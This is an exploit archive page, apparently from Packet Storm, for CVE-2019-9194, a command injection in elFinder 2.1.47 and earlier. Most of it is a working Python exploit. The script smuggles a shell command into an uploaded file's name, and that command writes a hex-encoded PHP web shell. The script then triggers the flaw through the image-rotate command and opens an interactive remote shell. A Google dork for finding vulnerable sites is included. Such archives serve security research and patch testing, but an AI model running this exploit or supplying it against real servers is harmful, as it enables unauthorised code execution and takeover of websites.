exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

elFinder 2.1.47 Command Injection

elFinder 2.1.47 Command Injection
Posted Mar 5, 2019
Authored by q3rv0

elFinder versions 2.1.47 and below suffer from a command injection vulnerability in the PHP connector.

tags | exploit, php
advisories | CVE-2019-9194
SHA-256 | c18a99273f5751aac3069a948d7904a72a24ff8573296cdae06be2c2d58ce090

elFinder 2.1.47 Command Injection

Change Mirror Download
#!/usr/bin/python

'''
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# Date: 26/02/2019
# Exploit Author: @q3rv0
# Vulnerability reported by: Thomas Chauchefoin
# Google Dork: intitle:"elFinder 2.1.x"
# Vendor Homepage: https://studio-42.github.io/elFinder/
# Software Link: https://github.com/Studio-42/elFinder/archive/2.1.47.tar.gz
# Version: <= 2.1.47
# Tested on: Linux 64bit + Python2.7
# PoC: https://www.secsignal.org/news/cve-2019-9194-triggering-and-exploiting-a-1-day-vulnerability/
# CVE: CVE-2019-9194

# Usage: python exploit.py [URL]

'''

import requests

import json

import sys


payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'


def usage():

if len(sys.argv) != 2:

print "Usage: python exploit.py [URL]"

sys.exit(0)


def upload(url, payload):

files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}

data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}

r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)

j = json.loads(r.text)

return j['added'][0]['hash']


def imgRotate(url, hash):

r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))

return r.text


def shell(url):

r = requests.get("%s/php/SecSignal.php" % url)

if r.status_code == 200:

print "[+] Pwned! :)"

print "[+] Getting the shell..."

while 1:

try:

input = raw_input("$ ")

r = requests.get("%s/php/SecSignal.php?c=%s" % (url, input))

print r.text

except KeyboardInterrupt:

sys.exit("\nBye kaker!")

else:

print "[*] The site seems not to be vulnerable :("


def main():

usage()

url = sys.argv[1]

print "[*] Uploading the malicious image..."

hash = upload(url, payload)

print "[*] Running the payload..."

imgRotate(url, hash)

shell(url)


if __name__ == "__main__":

main()
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    25 Files
  • 16
    Aug 16th
    3 Files
  • 17
    Aug 17th
    6 Files
  • 18
    Aug 18th
    4 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close